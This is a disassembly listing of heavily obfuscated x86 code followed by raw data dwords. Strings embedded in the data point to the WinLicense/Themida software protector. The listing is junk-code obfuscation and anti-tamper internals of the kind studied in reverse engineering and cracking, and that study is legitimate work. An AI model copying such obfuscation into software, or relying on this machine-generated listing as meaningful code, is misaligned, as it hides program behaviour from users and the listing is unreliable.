; ---------------------------------------------------------------------------


loc_5A6DC3:				; CODE XREF: sub_581EE9+1D1CEj
		push	edx
		push	[esp-6EACh+arg_6EA8]
		pop	edx
		pop	[esp-6EACh+arg_6EA4]
		mov	esp, [esp-6EB0h+arg_6EA8]
		mov	[esp-6EB0h+arg_6EA8], eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_59E679
; ---------------------------------------------------------------------------


loc_5A6DDE:				; CODE XREF: sub_581EE9+20DE0j
		mov	eax, 505324A0h
		and	eax, 3A6438E5h
		add	eax, 3E1333C2h
		jmp	loc_5A6CBD
; ---------------------------------------------------------------------------


loc_5A6DF2:				; CODE XREF: sub_581EE9+14210j
		pop	edi
		add	edi, 3E9A052Bh
		push	[esp-6EA2h+arg_6E9A]
		pop	ebx
		jmp	loc_5A2DCD
; ---------------------------------------------------------------------------


loc_5A6E02:				; CODE XREF: sub_581EE9+10373j
		not	esi
		xchg	esi, edx
		add	edx, 3E4C7D73h
		add	esi, edx
		jmp	loc_59CDBF
; ---------------------------------------------------------------------------


loc_5A6E13:				; CODE XREF: sub_581EE9+169C8j
		pop	ebp
		xchg	edi, [esp-6E64h+arg_6E5C]
		mov	esp, [esp-6E64h+arg_6E5C]
		add	al, 45h
		jmp	loc_59E484
; ---------------------------------------------------------------------------


loc_5A6E21:				; CODE XREF: sub_581EE9+2292Aj
		push	edx
		mov	edx, edi
		mov	ecx, edx
		pop	edx
		pop	edi
		sub	eax, 2E34C3Ah
		add	eax, 25E95B39h
		sub	eax, ecx
		push	edx
		mov	edx, 145908BBh
		jmp	loc_594387
; ---------------------------------------------------------------------------


loc_5A6E3F:				; CODE XREF: sub_581EE9+24C38j
		add	al, 85h
		jmp	loc_59D8D9
; ---------------------------------------------------------------------------


loc_5A6E46:				; CODE XREF: sub_581EE9+1F2B7j
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		jmp	loc_5933FC
; ---------------------------------------------------------------------------


loc_5A6E54:				; CODE XREF: sub_581EE9+1CE0Aj
		sub	esp, 4
		push	esp
		pop	[esp-6E68h+arg_6E60]
		add	[esp-6E6Ch+arg_6E64], 4
		jmp	loc_59DA29
; ---------------------------------------------------------------------------


loc_5A6E67:				; CODE XREF: sub_581EE9+122CDj
		push	3C84h
		mov	[esp-6EC4h+arg_6EBA+2],	esi
		push	eax
		mov	eax, 407C45E2h
		xor	[esp-6EC0h+arg_6EBA+2],	eax
		mov	eax, [esp-6EC0h+arg_6EB6+2]
		add	esp, 4
		pop	edx
		sub	esp, 4
		jmp	loc_5A0FB1
; ---------------------------------------------------------------------------


loc_5A6E8E:				; CODE XREF: sub_581EE9+1A41Bj
		mov	eax, 1AEDE1AEh
		add	ebp, eax
		pop	eax
		sub	esi, ebp
		pop	ebp
		pop	ebp
		xor	esi, 2B63CDBh
		and	esi, 0A74666Fh
		jmp	loc_59FE5F
; ---------------------------------------------------------------------------


loc_5A6EAB:				; CODE XREF: sub_581EE9+1F57Dj
		bswap	eax
		push	0B73h
		mov	[esp-6E9Eh+arg_6E96], eax
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A6EBA:				; CODE XREF: sub_581EE9+11371j
		add	edi, esi
		push	[esp-6EA4h+arg_6E9A+2]
		mov	esi, [esp-6EA0h+arg_6E96+2]
		add	esp, 4
		add	esp, 4
		add	edi, 2
		xchg	edi, [esp-6EA8h+arg_6E9E+2]
		mov	esp, [esp-6EA8h+arg_6E9E+2]
		btr	word ptr [esp-6EA8h+arg_6E9E+2], ax
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A6EE2:				; CODE XREF: sub_581EE9+1E6F5j
		pop	esp
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A6EE8:				; CODE XREF: sub_581EE9+14955j
		mov	esp, [esp-6E6Ah+arg_6E60+2]
		jmp	loc_5A546B
; ---------------------------------------------------------------------------


loc_5A6EF0:				; CODE XREF: sub_581EE9+10741j
		pop	esp
		jmp	loc_59E1A3
; ---------------------------------------------------------------------------


loc_5A6EF6:				; CODE XREF: sub_581EE9+1ED2Cj
		pop	edi
		sub	ebx, 8B0BFBh
		add	ebx, edi
		add	ebx, 8B0BFBh
		jmp	loc_59A361
; ---------------------------------------------------------------------------


loc_5A6F0A:				; CODE XREF: sub_581EE9+1BB1Cj
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		sub	edx, 4
		jmp	loc_5A0AB6
; ---------------------------------------------------------------------------


loc_5A6F1E:				; CODE XREF: sub_581EE9+191C0j
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp-6E7Ch+arg_6E72+2]
		mov	esp, [esp-6E7Ch+arg_6E72+2]
		add	[esp-6E7Ch+arg_6E72+2],	eax
		push	ecx
		jmp	loc_5A3560
; ---------------------------------------------------------------------------


loc_5A6F34:				; CODE XREF: sub_581EE9+1EDCBj
		add	esi, eax
		pop	eax
		mov	eax, [esp-6E84h+arg_6E7C]
		add	esp, 4
		sub	esi, 12C339E7h
		add	esi, eax
		jmp	loc_59FFB0
; ---------------------------------------------------------------------------


loc_5A6F4A:				; CODE XREF: sub_581EE9+1EF32j
		pop	dword ptr [esp]
		add	[esp-6EBCh+arg_6EB2+2],	4
		jmp	loc_593008
; ---------------------------------------------------------------------------
		lodsd
		push	ebx
		mov	ebx, 4DBA48F5h
		sub	eax, ebx
		pop	ebx
		push	ecx
		jmp	loc_5A2193
; ---------------------------------------------------------------------------


loc_5A6F66:				; CODE XREF: sub_581EE9+1C00Fj
		pop	esp
		sub	esp, 4
		mov	[esp-6EC0h+arg_6EB6+2],	ebp
		push	8Eh
		mov	[esp-6EBCh+arg_6EB2+2],	esp
		add	[esp-6EBCh+arg_6EB2+2],	4
		pop	ebp
		push	eax
		mov	eax, 5153069Dh
		shr	eax, 3
		sub	eax, 51E76413h
		add	eax, 0FFFFFFFFh
		add	eax, 47BD0345h
		add	ebp, eax
		pop	eax
		sub	esp, 4
		mov	[esp-6EBCh+arg_6EB2+2],	edi
		jmp	loc_5947FC
; ---------------------------------------------------------------------------


loc_5A6FA1:				; CODE XREF: sub_581EE9+161A2j
		pop	esi
		push	esi
		push	esp
		jmp	loc_59804B
; ---------------------------------------------------------------------------


loc_5A6FA9:				; CODE XREF: sub_581EE9+10761j
		add	ebx, esi
		pop	esi
		jmp	loc_59C2E0
; ---------------------------------------------------------------------------


loc_5A6FB1:				; CODE XREF: sub_581EE9+15B94j
		pop	esp
		push	edi
		jmp	loc_5926D6
; ---------------------------------------------------------------------------
		push	[esp-6EACh+arg_6EA4]
		jmp	loc_5A70C5
; ---------------------------------------------------------------------------


loc_5A6FC0:				; CODE XREF: sub_581EE9+175A2j
		push	edx
		push	374D4925h
		pop	edx
		xor	edx, 6E4F6154h
		mov	edi, edx
		jmp	loc_59B695
; ---------------------------------------------------------------------------


loc_5A6FD4:				; CODE XREF: sub_581EE9+1C39Cj
		mov	ecx, 53F11D37h
		jmp	loc_59B50E
; ---------------------------------------------------------------------------


loc_5A6FDE:				; CODE XREF: sub_581EE9+1A8B2j
		mov	edx, [esp-6E76h+arg_6E6E]
		add	esp, 4
		jmp	loc_59E981
; ---------------------------------------------------------------------------


loc_5A6FE9:				; CODE XREF: sub_581EE9+20AA6j
		mov	[esp-6E56h+arg_6E4C+2],	eax
		jmp	loc_59671A
; ---------------------------------------------------------------------------


loc_5A6FF1:				; CODE XREF: sub_581EE9+1E0ACj
		mov	edi, 7D580290h
		sub	esi, edi
		pop	edi
		push	edi
		jmp	loc_597BE1
; ---------------------------------------------------------------------------


loc_5A6FFF:				; CODE XREF: sub_581EE9+1894Ej
		push	ebx
		mov	ebx, 0
		add	ebx, 5FD36247h
		sub	ebx, ebp
		sub	ebx, 5FD36247h
		mov	ebp, ebx
		pop	ebx
		jmp	loc_59F24C
; ---------------------------------------------------------------------------


loc_5A701B:				; CODE XREF: sub_581EE9+1D054j
		pop	esi
		push	esi
		mov	esi, 24B20147h
		add	esi, 7F2859CCh
		neg	esi
		push	ebp
		mov	ebp, 78E57B8Dh
		add	esi, ebp
		pop	ebp
		jmp	loc_597DB6
; ---------------------------------------------------------------------------


loc_5A7038:				; CODE XREF: sub_581EE9+12985j
		pop	esi
		jmp	loc_5A2E53
; ---------------------------------------------------------------------------


loc_5A703E:				; CODE XREF: sub_581EE9+17904j
		push	[esp-6E7Ah+arg_6E72]
		pop	eax
		add	esp, 4
		xor	edx, [esp-6E7Eh+arg_6E76]
		xor	[esp-6E7Eh+arg_6E76], edx
		xor	edx, [esp-6E7Eh+arg_6E76]
		jmp	loc_5949D1
; ---------------------------------------------------------------------------


loc_5A7053:				; CODE XREF: sub_581EE9+155FBj
		or	ebx, 5AD429DBh
		dec	ebx
		push	edx
		mov	edx, 3D1A57D4h
		shl	edx, 5
		add	edx, 25247875h
		push	esi
		mov	esi, 589849F7h
		add	esi, 1
		add	esi, 0DC8713E8h
		jmp	loc_59F3D1
; ---------------------------------------------------------------------------


loc_5A7080:				; CODE XREF: sub_581EE9+17050j
		xchg	edx, [esp-6EACh+arg_6EA4]
		mov	esp, [esp-6EACh+arg_6EA4]
		shl	word ptr [esp-6EACh+arg_6EA4], cl
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A7090:				; CODE XREF: sub_581EE9+1355Bj
		mov	eax, ebp
		pop	ebp
		jmp	loc_5A1F94
; ---------------------------------------------------------------------------


loc_5A7098:				; CODE XREF: sub_581EE9+1024Cj
		mov	al, 0CFh
		jmp	loc_599DA2
; ---------------------------------------------------------------------------


loc_5A709F:				; CODE XREF: sub_581EE9+15F8Bj
		add	eax, [ebx]
		push	[esp-6E72h+arg_6E68+2]
		jmp	loc_59FE31
; ---------------------------------------------------------------------------


loc_5A70A9:				; CODE XREF: sub_581EE9+2140Aj
		and	esi, 6B1C45BAh
		shr	esi, 7
		sub	esi, 0D2A22AFh
		xor	esi, 88E7665Dh
		sub	edx, esi
		jmp	loc_59EC6D
; ---------------------------------------------------------------------------


loc_5A70C5:				; CODE XREF: sub_581EE9+250D2j
		pop	eax
		jmp	loc_59BBD8
; ---------------------------------------------------------------------------


loc_5A70CB:				; CODE XREF: sub_581EE9+11073j
		push	esi
		mov	esi, 66C0A429h
		jmp	loc_59C3A6
; ---------------------------------------------------------------------------


loc_5A70D6:				; CODE XREF: sub_581EE9+139B9j
		xor	esi, [esp-6E46h+arg_6E3E]
		xor	[esp-6E46h+arg_6E3E], esi
		xor	esi, [esp-6E46h+arg_6E3E]
		pop	esp
		shr	eax, 12h
		xor	eax, ecx
		push	318Bh
		mov	[esp-6E46h+arg_6E3E], eax
		xor	[esp-6E46h+arg_6E3E], ebx
		jmp	loc_5A070B
; ---------------------------------------------------------------------------


loc_5A70F5:				; CODE XREF: sub_581EE9+2301Fj
		mov	[esp-6E56h+arg_6E4C+2],	ebx
		mov	bh, 4Bh
		xor	bh, 24h
		shr	bh, 5
		or	bh, 36h
		jmp	loc_599B62
; ---------------------------------------------------------------------------


loc_5A7108:				; CODE XREF: sub_581EE9+1B957j
		add	esp, 4
		jmp	loc_5A5C96
; ---------------------------------------------------------------------------


loc_5A7110:				; CODE XREF: sub_581EE9+163E7j
		add	ecx, 4
		xchg	ecx, [esp-6ED0h+arg_6EC6+2]
		pop	esp
		push	edi
		mov	edi, ecx
		mov	ebx, edi
		pop	edi
		push	[esp-6ED4h+arg_6ECA+2]
		jmp	loc_5A333F
; ---------------------------------------------------------------------------


loc_5A7128:				; CODE XREF: sub_581EE9+210A1j
		mov	[esp-6E8Ah+arg_6E80+2],	eax
		push	ecx
		jmp	loc_5A2941
; ---------------------------------------------------------------------------


loc_5A7131:				; CODE XREF: sub_581EE9+14D11j
		pop	esp
		mov	[esp-6E80h+arg_6E76+2],	eax
		sub	esp, 4
		mov	[esp-6E7Ch+arg_6E72+2],	esp
		push	ebp
		mov	ebp, 4
		add	[esp-6E78h+arg_6E72+2],	ebp
		pop	ebp
		push	[esp-6E7Ch+arg_6E72+2]
		mov	eax, [esp-6E78h+arg_6E6E+2]
		push	esi
		jmp	loc_593623
; ---------------------------------------------------------------------------


loc_5A7152:				; CODE XREF: sub_581EE9+13DADj
		add	esp, 4
		jmp	loc_5A3610
; ---------------------------------------------------------------------------


loc_5A715A:				; CODE XREF: sub_581EE9+21FD0j
		neg	esi
		and	esi, 78006045h
		add	esi, 34B71110h
		jmp	loc_5A1FB1
; ---------------------------------------------------------------------------


loc_5A716D:				; CODE XREF: sub_581EE9+1DC71j
		or	ecx, 5514436Ch
		jmp	loc_59D509
; ---------------------------------------------------------------------------


loc_5A7178:				; CODE XREF: sub_581EE9+23FD4j
		add	di, 74DFh
		push	ebx
		mov	bx, 70D2h
		xor	bx, 7836h
		jmp	loc_59576F
; ---------------------------------------------------------------------------


loc_5A718C:				; CODE XREF: sub_581EE9+11484j
		mov	bx, word ptr [esp-6E94h+arg_6E8A+2]
		add	esp, 2
		mov	dx, word ptr [esp-6E98h+arg_6E8E+2]
		jmp	loc_59E304
; ---------------------------------------------------------------------------


loc_5A719F:				; CODE XREF: sub_581EE9+14EE3j
		add	edi, ebx
		push	[esp-6E92h+arg_6E8A]
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-6E8Eh+arg_6E84+2]
		pop	esp
		add	edi, 4
		xor	edi, [esp-6E92h+arg_6E8A]
		xor	[esp-6E92h+arg_6E8A], edi
		xor	edi, [esp-6E92h+arg_6E8A]
		mov	esp, [esp-6E92h+arg_6E8A]
		or	[esp-6E92h+arg_6E8A], eax
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5A71D3:				; CODE XREF: sub_581EE9+3AAEj
		call	near ptr loc_5A71DD+1
		mov	dh, [ebx+ebp*2+37h]
		nop


loc_5A71DD:				; CODE XREF: sub_581EE9:loc_5A71D3p
		mov	eax, 2810F50h
sub_581EE9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 0
		dd 5BD38B00h, 81C0805Eh, 66D5C681h, 0E9600000h,	10h, 0DAD0D8B3h
		dd 0ABE8EEh, 133577C7h,	0CC6673B0h, 2CEEB81h, 0B9617D45h
		dd 1985h, 1820Fh, 0FFF80000h, 5FBAB736h, 6F38166h, 0F9EF816Bh
		dd 665AC15Ah, 0EDB5E281h, 3CB8F781h, 0DE81814h,	0B1000000h
		dd 8003276Eh, 43B44A7Eh, 0AFDC9694h, 8B0F53h, 58000000h
		dd 0DAC78158h, 6628A3BBh, 0B457C38Bh, 80068F08h, 0EE8140CBh
		dd 2AA17039h, 8FCA8166h, 35C681BBh, 602AA170h, 0A14BBB66h
		dd 12E8h, 1E629A00h, 0C869A611h, 4491AAD0h, 0D5DE5B9Fh
		dd 0F32FF62h, 615BFBBFh, 0F01E983h, 0FFFF7E85h,	50E9FFh
		dd 0B6570000h, 53553888h, 32335245h, 6C6C642Eh,	56444100h
		dd 33495041h, 6C642E32h, 544E006Ch, 2E4C4C44h, 6C6C64h
		dd 507D8h, 60002h, 1A0010h, 0A50028h, 6	dup(0)
		dd 0DCE90000h, 68000008h, 6169864h, 0FDE97BE9h,	98DF68FFh
		dd 71E90616h, 68FFFDE9h, 6169A2Ah, 0FDE967E9h, 9B8D68FFh
		dd 5DE90616h, 68FFFDE9h, 6169C0Bh, 0FDE953E9h, 9D0468FFh
		dd 49E90616h, 68FFFDE9h, 6169D66h, 0FDE93FE9h, 0CBC6C6FFh
		dd 0F6A7D847h, 1F9AB532h, 77E8C1Bh, 28656403h, 0C54D67E4h
		dd 0D847CBC6h, 0B12EF2ABh, 89161A95h, 95000477h, 5BA8916h
		dd 9A3955E6h, 3690D9AFh, 0E7CC3CC1h, 0DE19F531h, 0AD6744BEh
		dd 0A15C1EABh, 0C4F4A9DAh, 0E51590BBh, 0FFB77D61h, 0F6619AEEh
		dd 0F0929AA9h, 0FF351953h, 6B1763CCh, 242849DCh, 0C87BA417h
		dd 4B55E49Ah, 6595103Ch, 0B637FDE1h, 8E773DE9h,	0DDEA717Bh
		dd 0E62CA8A0h, 32493FCEh, 324A7DF5h, 0D946B196h, 0B5F2A26Ah
		dd 5BAF65E9h, 8885C4F7h, 3FA7070Dh, 682321AEh, 81F63744h
		dd 92AFDE6Eh, 0BCCE9DAEh, 508F7B33h, 6E92DBC1h,	900B3DAAh
		dd 13ADD88Fh, 7A48A083h, 73Bh, 84880303h, 6FB3EA1Bh, 54D8D5F0h
		dd 42C6BDCBh, 27EBA6A5h, 302B0A4h, 0F01D8A8Eh, 0DAF671B5h
		dd 0BACC5BDFh, 0EF523FC3h, 0E60AF34Eh, 0D9C37055h, 6366567h
		dd 0FAB7D695h, 17658438h, 0E58EBBE4h, 3D0149DFh, 58537F0Eh
		dd 0A7D8A7D4h, 636F3CF6h, 0CDFDB8D3h, 562D15Eh,	9DE155E6h
		dd 0E6A3AE79h, 93B5CAC2h, 3954E6E3h, 0A4C84C7Ch, 0B0C3094h
		dd 6913475Eh, 0C0E8BA12h, 0B8000006h, 96111588h, 6BF43875h
		dd 46E12560h, 5EC94D48h, 2DAE722Fh, 118CBB0Bh, 3875920Dh
		dd 245F6BF4h, 564547E0h, 0DB44A7D2h, 55E60A68h,	6764A8EBh
		dd 0C0BBCD65h, 0B1D3ACDCh, 65890401h, 80FD0A55h, 59D9F788h
		dd 3B53772Ah, 0D159B01Fh, 34FA649h, 859488DDh, 90F9h, 188B3700h
		dd 0F092AC9Fh, 74C76053h, 8F53F092h, 0C153378Bh, 7685F80Ah
		dd 79A6D5F7h, 0A327574Ah, 0B953A151h, 53F09286h, 0F512A4A6h
		dd 324A4143h, 3E9AB2D6h, 91A9E4E1h, 750D1135h, 94EBE094h
		dd 0DFE03F76h, 0F83A9EAEh, 20D5CCFh, 8C008D87h,	0E549DC01h
		dd 0F7136A61h, 3B534A47h, 4E79BBDFh, 7D8CD3h, 76315DF2h
		dd 0C16ED9B2h, 55E4E172h, 0C8878DF1h, 0B3CAC1BCh, 0AFEAE595h
		dd 0E7173B9Fh, 0E1182B74h, 0B79B55E4h, 17258193h, 5D7h
		dd 3665679Dh, 0C24F9E06h, 0E35EDFC5h, 6053F092h, 0A7D4F81Ch
		dd 0DC482806h, 0E1252949h, 0FBB2D3AAh, 2D606239h, 3C4899E9h
		dd 0B9B9790Fh, 0F3C6AA9Ah, 39198621h, 0FD4FCBF5h, 987F3B67h
		dd 0F30164C0h, 0D7893F7h, 0DD57527Eh, 8387020Eh, 9DADE8E4h
		dd 1736C0C2h, 0EB1769Ah, 0B662FF94h, 5757446h, 3D4D0000h
		dd 2021BE42h, 133EA96Dh, 0F7159296h, 0E0EF78BCh, 0CEE269ADh
		dd 0D0544978h, 0BF433A57h, 0A5692420h, 9195083Ah, 291885E4h
		dd 0AA55E608h, 6567A769h, 47790636h, 0AB442454h, 9073DB44h
		dd 9FAC53F0h, 0EE4B45C9h, 0AC664431h, 94BF1FCCh, 5AEB7985h
		dd 4440738Bh, 0BFA3DAECh, 0FED18A75h, 6726FFFFh, 9E063665h
		dd 7202394Fh, 4B3EE16Fh, 398A889Fh, 1E8DBFCEh, 0F899914h
		dd 46CA49DCh, 5523C2C2h, 0E211F926h, 0C5024FC8h, 0EF5ADBC7h
		dd 645FD8E1h, 48CCFCE0h, 0D1A71424h, 0B3330416h, 81B0FDCFh
		dd 25FD866h, 9D181A3Eh,	5FD866A1h, 0FD0D8081h, 11296462h
		dd 48403D4Eh, 254CABCCh, 82D9C01Dh, 0AE9D1A80h,	255FD866h
		dd 68F73D21h, 7C2BF101h, 0FD8B91BDh, 64663FCAh,	0A1C0F729h
		dd 85F28D87h, 87000001h, 787A2BF1h, 8294D933h, 4E89CE22h
		dd 919B9972h, 5BAA5C1Eh, 0D9FDB8D6h, 0EC2137A2h, 7ED7C5B5h
		dd 0F5018C86h, 0E49DC2Eh, 0A072330Ah, 0F57B8E32h, 0CA6B6014h
		dd 96320444h, 397493EAh, 738B8FFBh, 7D8EFA0Bh, 0DE28DB30h
		dd 7A013AFh, 0BFE62334h, 90A8E5E4h, 36FC4034h, 0C23D4E32h
		dd 0E623D665h, 2BE96DBFh, 37BFC198h, 0F2566615h, 0ABDD4ACEh
		dd 2D962FF0h, 0CA228313h, 412F8h, 0A7DAEA00h, 0CAC3C463h
		dd 0F3AED946h, 1B92B02Fh, 4798817h, 0E1517B00h,	0FC6BAFE2h
		dd 0D552D6CFh, 0AD3AFEB9h, 711CE09Bh, 99EAD0Ah,	0FE1555E6h
		dd 1B61803Ah, 0D5F675E0h, 0EE24A0D8h, 0DFE572EFh, 0E647B249h
		dd 55E6056Bh, 73273E8h,	9C55E605h, 6A9E94B8h, 585B4F1h
		dd 3A1E55E6h, 6A66E516h, 424D1C2Fh, 41D33747h, 44FA1691h
		dd 17274B42h, 0C0473648h, 69134831h, 94C3D149h,	6C000003h
		dd 42DD215Ch, 5FC84C41h, 2AB57934h, 29D611Ch, 18A8E03h
		dd 3568672Fh, 5C5976F1h, 48434FD8h, 72295BC4h, 3F78C3AEh
		dd 55E60E0Ch, 67484C87h, 95063665h, 448384DFh, 0F0C868DBh
		dd 0B167EB53h, 0C3517606h, 8B83FA0Ch, 0ED04EBh,	53F0C92Ah
		dd 0E7F23F1Bh, 0F48E8594h, 2AFFFFFCh, 6366567h,	0C5C24F9Eh
		dd 0FFA6B0C8h, 8FD3560Dh, 13284C70h, 0D6573D4Ch, 53F0347Bh
		dd 587094F8h, 287536FCh, 49DC35BEh, 5CF5337h, 0AC9F188Bh
		dd 2753F092h, 313510D1h, 9C804051h, 0C3F58096h,	0F8255622h
		dd 49DC448Eh, 0ED4A8387h, 2DCB3648h, 112A5EAFh,	4B433E4Ah
		dd 5CD07F3Dh, 0B1D53234h, 6FE74063h, 80E7F735h,	0F5148CBCh
		dd 0C22B7487h, 6DFDE339h, 798BD2E9h, 0F78DFE02h, 0ADDF357Dh
		dd 0D44ACEFEh, 60BF4BFEh, 0B5112964h, 0EF9EA07Fh, 0D64AA328h
		dd 5D6FDFB4h, 29Bh, 0E4286363h,	0CF534A7Bh, 0B4783550h
		dd 0A2661D2Bh, 878B0605h, 6362D004h, 507DEA2Eh,	3A56D155h
		dd 1A2CBB7Fh, 8FF29F63h, 0E60F132Eh, 0B9639055h, 0E01B6180h
		dd 0DFE5CC47h, 0A6D82749h, 0A1B8D3F7h, 0B926EAA5h, 62F9128Dh
		dd 56F72964h, 290FF15h,	6EF1CD47h, 63DE215Ch, 33691374h
		dd 239C9DBh, 1010000h, 0EC1D8A8Eh, 0D7F26DB1h, 0BBC956DAh
		dd 0A4A33CC0h, 0B2A625E9h, 84880504h, 73B7EE1Bh, 59DDD8F4h
		dd 3DC1BCCEh, 0FD4CE950h, 7655E60Fh, 0F48BDBDDh, 4F48DED7h
		dd 8C57EA37h, 0C7269E94h, 161D9AB1h, 5D49DFB2h,	658B50Bh
		dd 52769331h, 0D253CE39h, 55E63767h, 296463FCh,	2E500F05h
		dd 0D5F38584h, 62AAEDEh, 0AA6E92F6h, 4A410FDAh,	0E63744EDh
		dd 536BEF55h, 8880FD0Ch, 2E74938Ch, 0E637B281h,	0DD5A3155h
		dd 55E6376Eh, 597D61E5h, 2C58ADD5h, 37BB9E1Fh, 0E07F55E6h
		dd 3A9EAEDFh, 0CC9388F8h, 4CC8C0BDh, 0E6373E0Dh, 0ADD1B555h
		dd 0CDC0C29Dh, 3C4ED9BDh, 2022BD41h, 0FD0F5E6Dh, 2C5C5775h
		dd 107484A8h, 2A31A202h, 8391631Eh, 0ABC269BDh,	177DE070h
		dd 47ED96D4h, 0EA8F59D1h, 0EA28EAF3h, 63981335h, 87B7EE1Ch
		dd 0A641F103h, 8BD2E9A4h, 8E0A0279h, 28273884h,	0D3A4575h
		dd 0E9E77890h, 0A1EE9AB2h, 418EC04Ah, 5668F72Ah, 61B31727h
		dd 21E598AAh, 0F20A8786h, 691A2A14h, 1182B1FEh,	3D0155E6h
		dd 0C20168F7h, 9D1835C3h, 41C5E96Dh, 0D2EAA7A6h, 0F506818Dh
		dd 0D75D5876h, 0E5D70D7h, 11758500h, 0F6157C03h, 0C956DAD7h
		dd 47B4C4B7h, 7A920B38h, 6899141Eh, 401D1589h, 203F4F3Eh
		dd 0F5526A23h, 42BEF06h, 7D8FBED5h, 6B9D0A0Eh, 48471830h
		dd 0B6612555h, 6F1E205Fh, 840A3CABh, 7979281Bh,	83A7ABEDh
		dd 86F2138Bh, 96AA2875h, 50CBF755h, 6E9864D7h, 0CBE15D97h
		dd 80DFDB4Ah, 0C8B7BACCh, 807263E6h, 0CCB4789Ch, 0F33C4F3Dh
		dd 8D41EE42h, 3E4179DDh, 0FE8D910Ch, 30172283h,	0BFAC9944h
		dd 4430C37Eh, 0D8FC4099h, 883855Ah, 0C6BFB1F0h,	0CBA45BE2h
		dd 286365A4h, 3407A013h, 4F5AA22Ah, 1E8949CBh, 0C699B1ECh
		dd 0A2BDCDC8h, 8DD2EAA7h, 0DE08007Bh, 0C8225AB1h, 0E87AE3C2h
		dd 3B1A3D21h, 40259D4h,	0B2D48B89h, 0C855C0FBh,	5AA2AC79h
		dd 0D49C96FAh, 4A42394Bh, 1678h, 12304F00h, 8B97999Bh
		dd 59DBD2F4h, 0A662F269h, 0BBF85D0h, 67D254DEh,	7B043467h
		dd 253A5249h, 15E6E29h,	0EE718904h, 0D5AAA2DFh,	0BCC3FBB6h
		dd 98E7178Eh, 4718306Dh, 1F275746h, 81E78957h, 4C7h, 4EF8300h
		dd 31243C33h, 3C33243Ch, 0EC835C24h, 24048904h,	5E08950h
		dd 4, 8704E883h, 895C2404h, 0A168241Ch,	8B061697h, 0C4832404h
		dd 1C8B5404h, 4C48124h,	51000000h, 4B895950h, 1C8B5908h
		dd 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h, 582434FFh
		dd 0E904C483h, 0FFFDE0B0h, 0F902214Ch, 0B88BC744h, 6169FC4h
		dd 0E0FFC503h, 3F1E4064h, 51A98E6Bh, 0FB8DD47h,	13D364CAh
		dd 51B1B6E1h, 5078774Bh, 21F12C16h, 4AB6F04Bh, 6F7F7CDh
		dd 74F37AFAh, 0FCEA0Dh,	442CA9E9h, 0C40E3B7h, 190401FFh
		dd 8EE9h, 0BD836000h, 6140AA1h,	5840F00h, 0E9000000h, 79h
		dd 3E80006Ah, 8850F30h,	6A000000h, 35E94600h, 80000000h
		dd 850F333Eh, 8, 0E946106Ah, 24h, 0F343E80h, 885h, 46306A00h
		dd 13E9h, 353E8000h, 8850Fh, 406A0000h,	2E946h,	6A0000h
		dd 0F203E80h, 1285h, 17E8000h, 8850F00h, 83000000h, 16E908C4h
		dd 8D000000h, 14241585h, 4895006h, 34895024h, 0FF006A24h
		dd 1424DD95h, 0C6C36106h, 14084985h, 74684D06h,	8130F219h
		dd 5D342404h, 0B5FF7343h, 6142965h, 3B4E858Dh, 0D0FF0614h
		dd 24DD8589h, 14E80614h, 89000000h, 8B77BD54h, 0A8E6F944h
		dd 3B44BD7Bh, 88D11FB1h, 666BFD31h, 5758F28Bh, 815ED08Bh
		dd 6F17C0h, 10E900h, 1C140000h,	665177D3h, 126C3F42h, 0D9BD2E0Fh
		dd 9F6848B9h, 0F00001Bh, 68Dh, 0A58D8B00h, 5B061420h, 3830Fh
		dd 0B70F0000h, 6630FFF0h, 665FF38Bh, 3982E181h,	5BB3EF81h
		dd 0F7814317h, 6F6B3042h, 20299529h, 0C7810614h, 5433F54Ah
		dd 2FE98D8Bh, 66570614h, 8FF28Bh, 2025BD89h, 0E8830614h
		dd 6048F503h, 2DC99589h, 0C28B0614h, 1EB8361h, 0FFB3850Fh
		dd 0AAE9FFFFh, 53000000h, 7774666Fh, 5C657261h,	4C6E6957h
		dd 6E656369h, 43006573h, 6B636568h, 58004E49h, 746F7270h
		dd 74697845h, 65684300h, 554F6B63h, 69570054h, 63694C6Eh
		dd 65736E65h, 73726556h, 6E6F69h, 4C6E6957h, 6E656369h
		dd 72446573h, 72657669h, 73726556h, 6E6F69h, 4C6E6957h
		dd 6E656369h, 6E496573h, 6E617473h, 45006563h, 4F746978h
		dd 7250006Bh, 4E49636Fh, 6F725000h, 54554F63h, 69784500h
		dd 4E4974h, 74697845h, 54554Fh,	4E497054h, 3 dup(0)
		dd 0DEB90800h, 0DFD5BB77h, 596E977h, 85890000h,	616A275h
		dd 0A271858Dh, 8D500616h, 16A1DB85h, 1685006h, 0FF800000h
		dd 16A28195h, 0FF196A06h, 16A275B5h, 6A016A06h,	0A858D00h
		dd 500616A2h, 0A271B5FFh, 95FF0616h, 6140B31h, 0A271B5FFh
		dd 95FF0616h, 616A27Dh,	0A271B5FFh, 95FF0616h, 6142FF1h
		dd 758589C3h, 8D0616A2h, 16A27185h, 858D5006h, 616A1DBh
		dd 16850h, 95FF8000h, 616A281h,	858D046Ah, 616A275h, 6A046A50h
		dd 34858D00h, 500616A2h, 0A271B5FFh, 95FF0616h,	6140B31h
		dd 0A271B5FFh, 95FF0616h, 616A27Dh, 0A271B5FFh,	95FF0616h
		dd 6142FF1h, 758589C3h,	8D0616A2h, 16A27185h, 858D5006h
		dd 616A1DBh, 16850h, 95FF8000h,	616A281h, 858D046Ah, 616A275h
		dd 6A046A50h, 1C858D00h, 500616A2h, 0A271B5FFh,	95FF0616h
		dd 6140B31h, 0A271B5FFh, 95FF0616h, 616A27Dh, 0A271B5FFh
		dd 95FF0616h, 6142FF1h,	758589C3h, 8D0616A2h, 16A27185h
		dd 858D5006h, 616A1DBh,	16850h,	95FF8000h, 616A281h, 858D046Ah
		dd 616A275h, 6A046A50h,	47858D00h, 500616A2h, 0A271B5FFh
		dd 95FF0616h, 6140B31h,	0A271B5FFh, 95FF0616h, 616A27Dh
